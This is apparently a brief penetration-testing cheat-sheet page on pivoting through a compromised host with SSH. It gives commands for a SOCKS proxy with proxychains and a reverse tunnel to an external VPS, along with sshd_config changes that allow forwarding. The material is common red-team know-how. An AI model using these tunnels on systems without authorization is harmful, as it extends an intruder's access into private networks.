SSH

Proxy through compromised host on the same network

# On attacker machine
ssh -D1337 -p <SSH-PORT> <USERNAME>@<TARGET-MACHINE>

# Change /etc/ssh/sshd_config on target machine
GatewayPorts yes
AllowTcpForwarding yes

# Edit /etc/proxychains4.conf file on the attacker machine and add following line
socks5	127.0.0.1 1337

Proxy from compromised host through external VPS

# On compromised host
ssh -R1337 -p <SSH-PORT> <USERNAME>@<VPS IP>

# On attacker machine
sudo ssh -L1337:127.0.0.1:1337 <USERNAME>@<VPS IP> -p <SSH-PORT>

# Change /etc/ssh/sshd_config on VPS
GatewayPorts yes
AllowTcpForwarding yes

Local port forward

Remote port forward

Dynamic port forward

Last updated